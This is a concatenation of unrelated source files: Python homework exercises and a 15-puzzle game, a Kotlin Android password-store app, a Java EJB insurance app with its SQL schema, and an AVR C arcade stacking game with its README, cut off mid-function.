print(make_str_keys({(1,): 2, (3,): 4, (5,): 6})) print(make_str_keys({None: 1})) <file_sep>''' Задача 2. Написать функцию для определения НОК для двух чисел. Я выбрала способ расчета через наибольший общий делитель: НОК(х, у) = |х * у| / НОД(х, у) ''' def gcd(a, b): """ Поиск НОД по методу Евклида: НОД (x, y) = НОД (у, x % y), учитывая, что НОД (a, 0) = а. Напрашивается рекурсивное решение. """ if b == 0: return abs(a) else: return gcd(b, a % b) def lcm(a, b): if a == b and b == 0: # Защита от деления на ноль return 0 return abs(a * b) / gcd(a, b) print('Наибольший общий делитель: ', gcd(10, -5)) print('Наименьшее общее кратное: ', lcm(10, -5))<file_sep># -*- coding: utf-8 -*- # `random` module is used to shuffle field, see§: # https://docs.python.org/3/library/random.html#random.shuffle import random # Empty tile, there's only one empty cell on a field: EMPTY_MARK = 'x' # Dictionary of possible moves if a form of: # key -> delta to move the empty tile on a field. MOVES = { 'w': -4, 's': 4, 'a': -1, 'd': 1, } def shuffle_field(): """ This method is used to create a field at the very start of the game. :return: list with 16 randomly shuffled tiles, one of which is a empty space. """ def is_solvable(field): """ Принимает перемешанное поле field. Возвращает True, если головоломка на этом поле решаема (N -- четное число), или False в противном случае. """ mark_pos = field.index(0) # Начальное значение N -- номер ряда с пустой клеткой. N = mark_pos // 4 + 1 # Считает для каждого элемента (кроме 0 и 1) кол-во последующих меньшего значения (кроме 0). Всё суммирует в N. for i in range(15): if 0 != field[i] != 1: for j in range(i + 1, 16): if field[j] != 0 and field[i] > field[j]: N += 1 return N % 2 == 0 field = list(range(16)) random.shuffle(field) if not is_solvable(field): # Нерешаемое поле станет решаемым, если поменять два непустых элемента местами. Это изменит значение N на 1. if field[1] != 0 != field[2]: field[1], field[2] = field[2], field[1] else: field[14], field[15] = field[15], field[14] field[field.index(0)] = EMPTY_MARK return field def print_field(field): """ This method prints field to user. :param field: current field state to be printed. :return: None """ for i in range(16): if i % 4 == 0: print() # Добавляет пробел, если значение элемента < 10, чтобы все клетки были равной ширины: if field[i] == EMPTY_MARK or field[i] < 10: print('[ {}]'.format(field[i]), end='') else: print('[{}]'.format(field[i]), end='') print() def is_game_finished(field): """ This method checks if the game is finished. :param field: current field state. :return: True if the game is finished, False otherwise. """ return field[0:15] == list(range(1,16)) def perform_move(field, key): """ Moves empty-tile inside the field. :param field: current field state. :param key: move direction. :return: new field state (after the move). :raises: IndexError if the move can't me done. """ old_pos = field.index(EMPTY_MARK) new_pos = old_pos + MOVES[key] # Сравнивает номера рядов и столбцов, проверяет, что новый индекс пустой клетки >= 0. if (old_pos // 4 != new_pos // 4) and (old_pos % 4 != new_pos % 4) or new_pos < 0: raise IndexError field[old_pos], field[new_pos] = field[new_pos], field[old_pos] return field def handle_user_input(): """ Handles user input. List of accepted moves: 'w' - up, 's' - down, 'a' - left, 'd' - right :return: <str> current move. """ move = input('Ваш ход:\n') while move not in MOVES.keys(): move = input('Сделайте ход одной из клавиш:{}\n'.format(tuple(MOVES.keys()))) return move def main(): """ The main method. It stars when the program is called. It also calls other methods. :return: None """ try: print('***\nНачинаем игру в пятнашки!\n***') moves = 0 field = shuffle_field() while True: if is_game_finished(field): print('***\nПоздравляем, головоломка решена! Совершено ходов: {}\n***'.format(moves)) break print_field(field) try: perform_move(field, handle_user_input()) moves += 1 except IndexError: print('Такой ход невозможен.') except KeyboardInterrupt: print('Shutting down') if __name__ == '__main__': # See what this means: # http://stackoverflow.com/questions/419163/what-does-if-name-main-do main() <file_sep>def count_types(lst): """ Задача 3. Написать функцию, которая принимает список, и возвращает словарь в формате: "тип данных: количество объектов" count_types([1, 4, 'd']) -> {<class 'int'>: 2, <class 'str'>: 1} """ dct = {} for item in lst: if type(item) not in dct: dct[type(item)] = 1 else: dct[type(item)] += 1 return dct<file_sep>def sort_list(int_list): """ Написать функцию, которая принимает на вход список, если в списке все объекты - int, сортирует его. Иначе выбрасывает ValueError. """ for item in int_list: if type(item) != int: raise ValueError return sorted(int_list)
8c7dca85442bbb8707001553be8b953c8064d8b1
[ "Python", "Text", "HTML" ]
33
Python
akaruitori/tceh_homeworks
7f42e7229996d00572ef1620042c43fc349cc7aa
29d1eadf67a89d44418b2988fc4bd405ff83ed39
refs/heads/main
<file_sep>package com.abhijeet_exploring_kotlin_googletranslate_api.pastore20.model import androidx.room.Entity import androidx.room.PrimaryKey @Entity(tableName = "accounts_table") data class OneAccount( @PrimaryKey(autoGenerate = true) val id : Int = 0, val siteName : String, val siteUrl : String? = null, val siteIcon : String? = null, val sitePassword : String, val siteDescription : String? = null )<file_sep>package com.abhijeet_exploring_kotlin_googletranslate_api.pastore20.common import android.content.Context import android.widget.Toast class Common { companion object { var MODE : String = "LIGHT" } fun toast(context: Context, msg : String) { Toast.makeText(context, msg, Toast.LENGTH_LONG).show() } fun validateIp(title: String, password: String, rePassword: String) : Boolean { if(title.isNotEmpty() && password.isNotEmpty() && password == rePassword) return true return false } }<file_sep>package com.abhijeet_exploring_kotlin_googletranslate_api.pastore20.repository import androidx.lifecycle.LiveData import com.abhijeet_exploring_kotlin_googletranslate_api.pastore20.model.OneAccount import com.abhijeet_exploring_kotlin_googletranslate_api.pastore20.model.AccountDao class AccountRepository(private val accountDao: AccountDao) { val readAll : LiveData<List<OneAccount>> = accountDao.readAllData() suspend fun addAccount(oneAccount: OneAccount){ accountDao.addAccount(oneAccount) } suspend fun updateAccount(oneAccount: OneAccount){ accountDao.updateAccount(oneAccount) } suspend fun deleteAccount(oneAccount: OneAccount){ accountDao.deleteAccount(oneAccount) } // fun getAccount(id : Int) : OneAccount = accountDao.getAccount(id) }<file_sep>package com.abhijeet_exploring_kotlin_googletranslate_api.pastore20.view.adapter import android.view.LayoutInflater import android.view.View import android.view.ViewGroup import android.widget.TextView import androidx.constraintlayout.widget.ConstraintLayout import androidx.recyclerview.widget.RecyclerView import com.abhijeet_exploring_kotlin_googletranslate_api.pastore20.R import com.abhijeet_exploring_kotlin_googletranslate_api.pastore20.model.OneAccount class AllAccountsAdapter(val view : View, private val listner : OnItemClicked) : RecyclerView.Adapter<AllAccountsAdapter.AllAccountsViewHolder>() { private var allAccountsList = emptyList<OneAccount>() inner class AllAccountsViewHolder(private val itemView : View) : RecyclerView.ViewHolder(itemView) { var id: TextView = itemView.findViewById(R.id.tvId) val title: TextView = itemView.findViewById(R.id.tvTitle) val password: TextView = itemView.findViewById(R.id.tvPassword) val description: TextView = itemView.findViewById(R.id.tvDescription) val currItem: ConstraintLayout = itemView.findViewById(R.id.clCurrentItem) } override fun onCreateViewHolder(parent: ViewGroup, viewType: Int): AllAccountsViewHolder { return AllAccountsViewHolder(LayoutInflater.from(parent.context).inflate(R.layout.account_row, parent, false)) } override fun onBindViewHolder(holder: AllAccountsViewHolder, position: Int) { val id = allAccountsList[position].id val title = allAccountsList[position].siteName val pass = allAccountsList[position].sitePassword val desc = allAccountsList[position].siteDescription holder.id.text = id.toString() holder.title.text = title holder.password.text = <PASSWORD> holder.password.text = <PASSWORD> holder.currItem.setOnClickListener { listner.onItemClickedEvent(view, allAccountsList[position]) } } override fun getItemCount(): Int = allAccountsList.size fun setData(list: List<OneAccount>) { allAccountsList = list notifyDataSetChanged() } } interface OnItemClicked { fun onItemClickedEvent(view : View, oneAccount: OneAccount) }<file_sep>package com.abhijeet_exploring_kotlin_googletranslate_api.pastore20.model import androidx.lifecycle.LiveData import androidx.room.* @Dao interface AccountDao { @Query("SELECT * FROM accounts_table ORDER BY id ASC") fun readAllData() : LiveData<List<OneAccount>> // @Query("SELECT * FROM accounts_table WHERE id = :id1") // fun getAccount(id1 : Int) : OneAccount @Insert(onConflict = OnConflictStrategy.IGNORE) suspend fun addAccount(oneAccount: OneAccount) @Update(onConflict = OnConflictStrategy.IGNORE) suspend fun updateAccount(oneAccount: OneAccount) @Delete suspend fun deleteAccount(oneAccount: OneAccount) }<file_sep>package com.abhijeet_exploring_kotlin_googletranslate_api.pastore20.model import android.content.Context import androidx.room.Database import androidx.room.Room import androidx.room.RoomDatabase @Database(entities = [OneAccount::class], version = 2, exportSchema = false) abstract class AccountDatabase : RoomDatabase() { abstract fun accountDao() : AccountDao companion object { private var INSTANCE : AccountDatabase? = null fun getDatabase(context: Context) : AccountDatabase{ val tempInstance = INSTANCE if(tempInstance != null) return tempInstance synchronized(this){ val instance = Room.databaseBuilder( context.applicationContext, AccountDatabase::class.java, "accounts_database" ).build() INSTANCE = instance return instance } } } }<file_sep>package com.abhijeet_exploring_kotlin_googletranslate_api.pastore20.view.activity import androidx.appcompat.app.AppCompatActivity import android.os.Bundle import androidx.appcompat.app.AppCompatDelegate import com.abhijeet_exploring_kotlin_googletranslate_api.pastore20.R import com.abhijeet_exploring_kotlin_googletranslate_api.pastore20.common.Common import com.abhijeet_exploring_kotlin_googletranslate_api.pastore20.databinding.ActivityMainBinding class MainActivity : AppCompatActivity() { private lateinit var binding: ActivityMainBinding override fun onCreate(savedInstanceState: Bundle?) { super.onCreate(savedInstanceState) binding = ActivityMainBinding.inflate(layoutInflater) setContentView(binding.root) if(AppCompatDelegate.getDefaultNightMode() == AppCompatDelegate.MODE_NIGHT_YES) setTheme(R.style.Theme_Pastore20) binding.btnBulb.setOnClickListener { changeTheme() } } private fun changeTheme() { if(Common.MODE == "LIGHT"){ AppCompatDelegate.setDefaultNightMode(AppCompatDelegate.MODE_NIGHT_YES); Common.MODE = "DARK"; }else{ AppCompatDelegate.setDefaultNightMode(AppCompatDelegate.MODE_NIGHT_NO); Common.MODE = "LIGHT"; } } }<file_sep>package com.abhijeet_exploring_kotlin_googletranslate_api.pastore20.view.fragments import android.os.Bundle import android.util.Log import androidx.fragment.app.Fragment import android.view.LayoutInflater import android.view.View import android.view.ViewGroup import android.widget.Toast import androidx.lifecycle.ViewModelProvider import androidx.navigation.Navigation import androidx.recyclerview.widget.LinearLayoutManager import androidx.recyclerview.widget.RecyclerView import com.abhijeet_exploring_kotlin_googletranslate_api.pastore20.R import com.abhijeet_exploring_kotlin_googletranslate_api.pastore20.common.Common import com.abhijeet_exploring_kotlin_googletranslate_api.pastore20.model.OneAccount import com.abhijeet_exploring_kotlin_googletranslate_api.pastore20.view.adapter.AllAccountsAdapter import com.abhijeet_exploring_kotlin_googletranslate_api.pastore20.view.adapter.OnItemClicked import com.abhijeet_exploring_kotlin_googletranslate_api.pastore20.view_model.MainViewModel import com.google.android.material.floatingactionbutton.FloatingActionButton class FirstFragment : Fragment(), OnItemClicked { private lateinit var fabAddAccount : FloatingActionButton private lateinit var accountsRecyclerView: RecyclerView lateinit var adapter : AllAccountsAdapter private val common = Common() override fun onCreateView(inflater: LayoutInflater, container: ViewGroup?, savedInstanceState: Bundle?): View? { // Inflate the layout for this fragment val view = inflater.inflate(R.layout.fragment_first, container, false) init(view) functionality(view); return view } private fun init(view: View) { fabAddAccount = view.findViewById(R.id.fabAddAccount) accountsRecyclerView = view.findViewById(R.id.rvAllAccounts) } private fun functionality(view: View) { val viewModel = ViewModelProvider(this).get(MainViewModel::class.java) setUpRecyclerView(view) viewModel.readAll.observe(viewLifecycleOwner, { adapter.setData(it) }) fabAddAccount.setOnClickListener { Navigation.findNavController(view).navigate(R.id.action_firstFragment_to_secondFragment) } } private fun setUpRecyclerView(view: View) { val layoutManager = LinearLayoutManager(activity) adapter = AllAccountsAdapter(view, this) accountsRecyclerView.layoutManager = layoutManager accountsRecyclerView.setHasFixedSize(true) accountsRecyclerView.adapter = adapter } override fun onItemClickedEvent(view: View, oneAccount: OneAccount) { Toast.makeText(view.context, "${oneAccount.id}", Toast.LENGTH_SHORT).show() } }<file_sep>include ':app' rootProject.name = "Pastore2.0"<file_sep>package com.abhijeet_exploring_kotlin_googletranslate_api.pastore20.view.fragments import android.app.Activity import android.os.Bundle import androidx.fragment.app.Fragment import android.view.LayoutInflater import android.view.View import android.view.ViewGroup import android.view.animation.AnimationUtils import android.view.inputmethod.InputMethodManager import android.widget.* import androidx.constraintlayout.widget.ConstraintLayout import androidx.lifecycle.ViewModelProvider import androidx.navigation.Navigation import com.abhijeet_exploring_kotlin_googletranslate_api.pastore20.R import com.abhijeet_exploring_kotlin_googletranslate_api.pastore20.common.Common import com.abhijeet_exploring_kotlin_googletranslate_api.pastore20.model.OneAccount import com.abhijeet_exploring_kotlin_googletranslate_api.pastore20.view_model.MainViewModel import java.lang.Thread.sleep class SecondFragment : Fragment() { lateinit var btnAdd : Button lateinit var doneBack : ConstraintLayout lateinit var done : ImageView lateinit var msg : TextView val common = Common() override fun onCreateView(inflater: LayoutInflater, container: ViewGroup?, savedInstanceState: Bundle?): View? { // Inflate the layout for this fragment val view = inflater.inflate(R.layout.fragment_second, container, false) init(view); functionality(view); return view } private fun init(view: View) { btnAdd = view.findViewById(R.id.btnAddAccount) // doneBack = view.findViewById(R.id.clDoneBack) // done = view.findViewById(R.id.ivDone) // msg = view.findViewById(R.id.tvMsg) } private fun functionality(view: View) { val viewModel = ViewModelProvider(this).get(MainViewModel::class.java) btnAdd.setOnClickListener { val title = view.findViewById<EditText>(R.id.etTitle).text.toString().trim() val password = view.findViewById<EditText>(R.id.etPassword).text.toString().trim() val rePassword = view.findViewById<EditText>(R.id.etRePassword).text.toString().trim() var desc : String? = view.findViewById<EditText>(R.id.etDescription).text.toString().trim() if(common.validateIp(title, password, rePassword)){ try { if(desc == "") desc = null val oneAccount = OneAccount(siteName = title, sitePassword = <PASSWORD>, siteDescription = desc) viewModel.addAccount(oneAccount) // GlobalScope.launch { animateDone("Added Successfully") } closeKeyboard() Toast.makeText(activity, "Added Successfully", Toast.LENGTH_SHORT).show() Navigation.findNavController(view).navigate(R.id.action_secondFragment_to_firstFragment) }catch (e : Exception){ Toast.makeText(activity, "$e", Toast.LENGTH_SHORT).show() // animateNotDone("Internal Error") } }else{ // animateNotDone("Invalid Input") Toast.makeText(activity, "Invalid Input", Toast.LENGTH_SHORT).show() } } } private fun closeKeyboard() { val imm = activity?.getSystemService(Activity.INPUT_METHOD_SERVICE) as InputMethodManager imm.toggleSoftInput(InputMethodManager.HIDE_IMPLICIT_ONLY, 0) } // private fun animateDone(msg: String) { // doneBack.visibility = View.VISIBLE // doneBack.startAnimation(AnimationUtils.loadAnimation(activity, R.anim.fragment_fade_enter)) // sleep(100) // done.visibility = View.VISIBLE // done.setImageResource(R.drawable.ic_done) // done.startAnimation(AnimationUtils.loadAnimation(activity, R.anim.fragment_fade_enter)) // sleep(700) // doneBack.visibility = View.GONE // done.visibility = View.GONE // } // // private fun animateNotDone(msg : String) { // doneBack.visibility = View.VISIBLE // doneBack.startAnimation(AnimationUtils.loadAnimation(activity, R.anim.fragment_fade_enter)) // sleep(100) // done.visibility = View.VISIBLE // done.setImageResource(R.drawable.ic_fail) // done.startAnimation(AnimationUtils.loadAnimation(activity, R.anim.fragment_fade_enter)) // sleep(700) // doneBack.visibility = View.GONE // done.visibility = View.GONE // // } }<file_sep>package com.abhijeet_exploring_kotlin_googletranslate_api.pastore20.view_model import android.app.Application import androidx.lifecycle.AndroidViewModel import androidx.lifecycle.LiveData import androidx.lifecycle.viewModelScope import com.abhijeet_exploring_kotlin_googletranslate_api.pastore20.model.OneAccount import com.abhijeet_exploring_kotlin_googletranslate_api.pastore20.model.AccountDatabase import com.abhijeet_exploring_kotlin_googletranslate_api.pastore20.repository.AccountRepository import kotlinx.coroutines.launch class MainViewModel(application: Application) : AndroidViewModel(application) { val readAll : LiveData<List<OneAccount>> private val accountRepository : AccountRepository init { val accountDao = AccountDatabase.getDatabase(application).accountDao() accountRepository = AccountRepository(accountDao) readAll = accountRepository.readAll } fun addAccount(oneAccount: OneAccount){ viewModelScope.launch { accountRepository.addAccount(oneAccount) } } // fun getAccount(id : Int) : OneAccount{ //// viewModelScope.launch { // return accountRepository.getAccount(id) //// } // } fun updateAccount(oneAccount: OneAccount){ viewModelScope.launch { accountRepository.updateAccount(oneAccount) } } fun deleteAccount(oneAccount: OneAccount){ viewModelScope.launch { accountRepository.deleteAccount(oneAccount) } } }
7a1f4d1bd19e6defb0c1d5592a41a79171a19813
[ "Kotlin", "Gradle" ]
11
Kotlin
Abhijeet1710/ModernPastore
cc263dacfd4d9caee9fb0f47b5ab8c04f169171c
a9a529a0a399c8b03ccfc17654aa8985417f0b0c
refs/heads/master
<file_sep>package za.co.fnb.insurance.session; import java.util.Collection; import java.util.Date; import javax.ejb.Remote; import za.co.fnb.insurance.entity.Person; import za.co.fnb.insurance.entity.PersonRole; @Remote public interface PersonInterface { public Person addPerson(String name, String surname, String idNumber, Date dateOfBirth, String physicalAddress, String postalAddress, String contactNumber, PersonRole personRole); public Collection<Person> getAllPersons(); public Collection<Person> getPersonByIdNumber(String idNo); } <file_sep>/* Navicat Premium Data Transfer Source Server : PosgreSQL Local Source Server Type : PostgreSQL Source Server Version : 90104 Source Host : localhost Source Database : insurance Source Schema : public Target Server Type : PostgreSQL Target Server Version : 90104 File Encoding : utf-8 Date: 07/19/2012 10:40:03 AM */ -- ---------------------------- -- Table structure for "person" -- ---------------------------- DROP TABLE IF EXISTS "person"; CREATE TABLE "person" ( "personid" int4 NOT NULL DEFAULT nextval('person_personid_seq'::regclass), "name" varchar(40) NOT NULL, "surname" varchar(40) NOT NULL, "idnumber" varchar(13), "dateofbirth" date, "physicaladdress" varchar(255), "postaladdress" varchar(255), "contactnumber" varchar(25), "personrole" varchar(25) ) WITH (OIDS=FALSE); ALTER TABLE "person" OWNER TO "postgres"; -- ---------------------------- -- Primary key structure for table "person" -- ---------------------------- ALTER TABLE "person" ADD CONSTRAINT "person_pkey" PRIMARY KEY ("personid") NOT DEFERRABLE INITIALLY IMMEDIATE; -- Sequence: person_personid_seq -- DROP SEQUENCE person_personid_seq; CREATE SEQUENCE person_personid_seq INCREMENT 1 MINVALUE 1 MAXVALUE 9223372036854775807 START 1 CACHE 1; ALTER TABLE person_personid_seq OWNER TO postgres;<file_sep>package za.co.fnb.insurance.session; import java.io.Serializable; import java.util.Collection; import java.util.Date; import javax.annotation.PostConstruct; import javax.ejb.Remote; import javax.ejb.Stateless; import javax.persistence.EntityManager; import javax.persistence.PersistenceContext; import javax.persistence.Query; import za.co.fnb.insurance.entity.Person; import za.co.fnb.insurance.entity.PersonRole; @Stateless public class PersonBean implements Serializable, PersonInterface { /** * */ private static final long serialVersionUID = 1L; @PersistenceContext(unitName="insurance") EntityManager em; protected Person person; protected Collection<Person> personList; public PersonBean() {} public Person addPerson(String name, String surname, String idNumber, Date dateOfBirth, String physicalAddress, String postalAddress, String contactNumber, PersonRole personRole) { if (person == null) { person = new Person(name, surname, idNumber, dateOfBirth, physicalAddress, postalAddress, contactNumber, personRole); em.persist(person); return person; } else { return null; } } public Collection<Person> getAllPersons() { personList = em.createQuery("SELECT p FROM Person p").getResultList(); return personList; } public Collection<Person> getPersonByIdNumber(String idNo) { Query q = em.createQuery("SELECT p FROM Person p WHERE p.idNumber LIKE :personID"); q.setParameter("personID", idNo); personList = q.getResultList(); return personList; } } <file_sep>package za.co.fnb.insurance.web.function; import java.text.DateFormat; import java.text.SimpleDateFormat; import java.util.Collection; import java.util.Date; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import za.co.fnb.insurance.entity.Person; import za.co.fnb.insurance.entity.PersonRole; import za.co.fnb.insurance.session.PersonInterface; public class ControllerFunctions { public String searchPersonByID(HttpServletRequest request, HttpServletResponse response, String idNo, PersonInterface personBean) { Collection<Person> resultList = personBean.getPersonByIdNumber(idNo); String outMessage = ""; for (Person p : resultList) { String tempLine = ""; tempLine = tempLine + p.getName() + "<br/>"; tempLine = tempLine + p.getSurname() + "<br/>"; tempLine = tempLine + p.getIdNumber() + "<br/>"; tempLine = tempLine + p.getDateOfBirth() + "<br/>"; tempLine = tempLine + p.getPhysicalAddress() + "<br/>"; tempLine = tempLine + p.getPostalAddress() + "<br/>"; tempLine = tempLine + p.getContactNumber() + "<br/>"; tempLine = tempLine + p.getPersonRole() + "<br/>"; outMessage = outMessage + tempLine; } if (outMessage.length() == 0) { outMessage = "No results match search"; } return "<span style='color:black;'>"+outMessage+"</span>"; } public String addPerson(HttpServletRequest request, HttpServletResponse response, PersonInterface personBean) { String name = request.getParameter("name"); String surname = request.getParameter("surname"); String idNumber = request.getParameter("idNo"); String dateOfBirth = request.getParameter("dateOfBirth"); String physicalAddress = request.getParameter("physicalAddress"); String postalAddress = request.getParameter("postalAddress"); String contactNumber = request.getParameter("contactNumber"); String personRole = request.getParameter("personRole"); Person p = personBean.addPerson(name, surname, idNumber, new Date(convertStringToDate(dateOfBirth)), physicalAddress, postalAddress, contactNumber, PersonRole.valueOf(personRole)); if (p == null) { return "<span style='color:black;'>There was an error proccessing your request. Please click the back button in your browser, and try again.</span>"; } else { return "<span style='color:black;'>Person saved succecssfully. Person ID is: "+p.getPersonId()+"</span>"; } } public String getAllPersons(HttpServletRequest request, HttpServletResponse response, PersonInterface personBean) { Collection<Person> resultList = personBean.getAllPersons(); String outMessage = ""; for (Person p : resultList) { String tempLine = ""; tempLine = tempLine + p.getName() + "<br/>"; tempLine = tempLine + p.getSurname() + "<br/>"; tempLine = tempLine + p.getIdNumber() + "<br/>"; tempLine = tempLine + p.getDateOfBirth() + "<br/>"; tempLine = tempLine + p.getPhysicalAddress() + "<br/>"; tempLine = tempLine + p.getPostalAddress() + "<br/>"; tempLine = tempLine + p.getContactNumber() + "<br/>"; tempLine = tempLine + p.getPersonRole() + "<br/>"; outMessage = outMessage + tempLine; } return "<span style='color:black;'>"+outMessage+"</span>"; } private long convertStringToDate(String date) { try { DateFormat formatter = new SimpleDateFormat("dd-MMM-yy"); Date dateNew = (Date)formatter.parse(date); return dateNew.getTime(); } catch (Exception e) { return new Date().getTime(); } } }
1ae34f3e590ec303051073c3803e2164acf4cd9e
[ "Java", "SQL" ]
4
Java
warren-ebell/Insurance
7f331806005c596045129c6e4082aa40532f2566
e21706b17f1c1172e3eb7855db872682d25c4a08
refs/heads/master
<file_sep># arcade-stacker CS120B Final Project - Arcade Stacker Introduction Stacker is an arcade game in which the goal is to build a tower by stacking rows of moving blocks on top of each other. To begin, a row of four blocks moves from side to side. The player must push the ‘stop’ button to stop the row. Then, another row of four moving blocks appears above the previous one. The player pushes the ‘stop’ button again, trying to align the rows directly above one another. If they do not align perfectly, overhanging squares will be removed. If they do not align at all, the player loses and the game ends. To win the game, the player must build a tower to the top of the LCD screen, which is 8 rows tall. HARDWARE The hardware used in this design are an ATMega1284 microcontroller, 2 buttons, an 8x8 LED matrix, and an LCD screen. SOFTWARE The software used is AVR Studio 6. COMPLEXITIES Using EEPROM to save the high score, using the 8x8 LED Matrix to display the game, and creating custom characters on the LCD screen. YOUTUBE LINK https://www.youtube.com/watch?v=QsApPqDH6nM KNOWN BUGS/SHORTCOMINGS After the first time playing the game, you must press the start button twice in order for the blocks to start moving. This may be because I did not properly reset and initialize all of my variables. When the blocks from one row move side to side, other rows flicker dimly and move along with it. I believe that this is caused by improperly alternating through the arrays. <file_sep>#include <avr/io.h> #include <avr/interrupt.h> #include "io.c" // ======= EEPROM ======= void EEPROM_Write(unsigned short address, unsigned char data) { while (EECR & (1 << EEPE)); EEAR = address; EEDR = data; EECR |= (1 << EEMPE); EECR |= (1 << EEPE); } unsigned char EEPROM_Read(unsigned short address) { while (EECR & (1 << EEPE)); EEAR = address; EECR |= (1 << EERE); EEAR = 0; return EEDR; } // ======= CUSTOM CHARACTER ======= unsigned char smiley[8] = {0x0,0x0,0xa,0x0,0x11,0xe,0x0,0x0}; void LCD_Custom_Char (unsigned char loc, unsigned char *msg) { unsigned char i; if(loc < 8) { LCD_WriteCommand(0x40 + (loc*8)); for (i = 0; i < 8; i++) { LCD_WriteData(msg[i]); } } } void LCD_Goto(char x, char y) { char addr;// address switch(y) { case 0: addr = 0x00 + x;break;// address = 0x00+x- For top row case 1: addr = 0x40 + x;break;// address = 0x40+x- For bottom row } char addrcmd = (0x80|addr);// final address command needed to send. LCD_WriteCommand(addrcmd);// Sending the final address command } // ======= TIMER FOR SYNCHRONOUS STATE MACHINES ======= volatile unsigned char TimerFlag=0; // ISR raises, main() lowers // Internal variables for mapping AVR's ISR to our cleaner TimerISR model. unsigned long _avr_timer_M = 1; // Start count from here, down to 0. Default 1 ms. unsigned long _avr_timer_cntcurr = 0; // Current internal count of 1ms ticks void TimerOn() { // AVR timer/counter controller register TCCR1 TCCR1B = 0x0B;// bit3 = 0: CTC mode (clear timer on compare) // bit2bit1bit0=011: pre-scaler /64 // 00001011: 0x0B // SO, 8 MHz clock or 8,000,000 /64 = 125,000 ticks/s // Thus, TCNT1 register will count at 125,000 ticks/s // AVR output compare register OCR1A. OCR1A = 125; // Timer interrupt will be generated when TCNT1==OCR1A // We want a 1 ms tick. 0.001 s * 125,000 ticks/s = 125 // So when TCNT1 register equals 125, // 1 ms has passed. Thus, we compare to 125. // AVR timer interrupt mask register TIMSK1 = 0x02; // bit1: OCIE1A -- enables compare match interrupt //Initialize avr counter TCNT1=0; _avr_timer_cntcurr = _avr_timer_M; // TimerISR will be called every _avr_timer_cntcurr milliseconds //Enable global interrupts SREG |= 0x80; // 0x80: 1000000 } void TimerOff() { TCCR1B = 0x00; // bit3bit1bit0=000: timer off } void TimerISR() { TimerFlag = 1; } // In our approach, the C programmer does not touch this ISR, but rather TimerISR() ISR(TIMER1_COMPA_vect) { // CPU automatically calls when TCNT1 == OCR1 (every 1 ms per TimerOn settings) _avr_timer_cntcurr--; // Count down to 0 rather than up to TOP if (_avr_timer_cntcurr == 0) { // results in a more efficient compare TimerISR(); // Call the ISR that the user uses _avr_timer_cntcurr = _avr_timer_M; } } // Set TimerISR() to tick every M ms void TimerSet(unsigned long M) { _avr_timer_M = M; _avr_timer_cntcurr = _avr_timer_M; } // ======= STATE MACHINE ======= enum SM1_States {start, init, release, press, wait, gameover} state; enum increment{p, r} button; int SM1_Tick() { static unsigned char pressed = 1; static unsigned char column_val = 0x80; // sets the pattern displayed on columns static unsigned char column_sel = 0xC3; // grounds column to display pattern static unsigned char direction = 0; // move current row left or right static unsigned char i = 0; static unsigned char j = 0; static unsigned char row1[2] = {0x80, 0xC3}; // column_val, column_sel static unsigned char row2[2] = {0x40, 0xFF}; static unsigned char row3[2] = {0x20, 0xFF}; static unsigned char row4[2] = {0x10, 0xFF}; static unsigned char row5[2] = {0x08, 0xFF}; static unsigned char row6[2] = {0x04, 0xFF}; static unsigned char row7[2] = {0x02, 0xFF}; static unsigned char row8[2] = {0x01, 0xFF}; static unsigned char over = 0; static unsigned char score = 0; static unsigned char highscore = 0; switch(state) { // TRANSITIONS case start: state = init; break; case init: state = release; break; case release: if (over == 1) { state = gameover; } else if ((~PIND & 0x01) == 0x01) { state = press; } else { state = release; } break; case press: if (over == 1) { state = gameover; } else { state = wait; } break; case wait: if (over == 1) { state = gameover; } else if ((~PIND & 0x01) == 0x01) { state = wait; } else { button = r; state = release; } break; case gameover: if ((~PIND & 0x02) == 0x02) { over = 0; state = init; LCD_ClearScreen(); } break; default: state = start; break; } switch(state) { //ACTIONS case start: break; case init: column_val = 0x80; // sets the pattern displayed on columns column_sel = 0xC3; // grounds column to display pattern pressed = 0; direction = 0; i = 0; j = 0; over = 0; score = 0; row1[0] = 0x80; row1[1] = 0xC3; row2[0] = 0x40; row2[1] = 0xFF; row3[0] = 0x20; row3[1] = 0xFF; row4[0] = 0x10; row4[1] = 0xFF; row5[0] = 0x08; row5[1] = 0xFF; row6[0] = 0x04; row6[1] = 0xFF; row7[0] = 0x02; row7[1] = 0xFF; row8[0] = 0x01; row8[1] = 0xFF; break; case release: // ALTERNATING ROWS FOR DISPLAY if (column_val == row1[0]) { column_val = row2[0]; column_sel = row2[1]; } else if (column_val == row2[0]) { column_val = row3[0]; column_sel = row3[1]; } else if (column_val == row3[0]) { column_val = row4[0]; column_sel = row4[1]; } else if (column_val == row4[0]) { column_val = row5[0]; column_sel = row5[1]; } else if (column_val == row5[0]) { column_val = row6[0]; column_sel = row6[1]; } else if (column_val == row6[0]) { column_val = row7[0]; column_sel = row7[1]; } else if (column_val == row7[0]) { column_val = row8[0]; column_sel = row8[1]; } else if (column_val == row8[0]) { column_val = row1[0]; column_sel = row1[1]; if (pressed >= 9) { over = 1; } } if (i >= 200 && over != 1) { // every 200ms, shift (when game is not over) // SHIFTING ROWs LEFT&RIGHT if (pressed == 1) { if (direction == 0) { // right if ((row1[1] & 0x01) == 0x00) { row1[1] = (row1[1] << 1) | 0x01; direction = 1; } else { row1[1] = (row1[1] >> 1) | 0x80; } } // else if far right column was last to display (grounded). else if (direction == 1) { // left if ((row1[1] & 0x80) == 0x00) { row1[1] = (row1[1] >> 1) | 0x80; // resets display column to far left column direction = 0; // go right } else { row1[1] = (row1[1] << 1) | 0x01; } } column_sel = row1[1]; } else if (pressed == 2) { if (direction == 0) { // right if ((row2[1] & 0x01) == 0x00) { row2[1] = (row2[1] << 1) | 0x01; direction = 1; } else { row2[1] = (row2[1] >> 1) | 0x80; } } // else if far right column was last to display (grounded). else if (direction == 1) { // left if ((row2[1] & 0x80) == 0x00) { row2[1] = (row2[1] >> 1) | 0x80; // resets display column to far left column direction = 0; // go right } else { row2[1] = (row2[1] << 1) | 0x01; } } column_sel = row2[1]; } else if (pressed == 3) { if (direction == 0) { // right if ((row3[1] & 0x01) == 0x00) { row3[1] = (row3[1] << 1) | 0x01; direction = 1; } else { row3[1] = (row3[1] >> 1) | 0x80; } } // else if far right column was last to display (grounded). else if (direction == 1) { // left if ((row3[1] & 0x80) == 0x00) { row3[1] = (row3[1] >> 1) | 0x80; // resets display column to far left column direction = 0; // go right } else { row3[1] = (row3[1] << 1) | 0x01; } } column_sel = row3[1]; } else if (pressed == 4) { if (direction == 0) { // right if ((row4[1] & 0x01) == 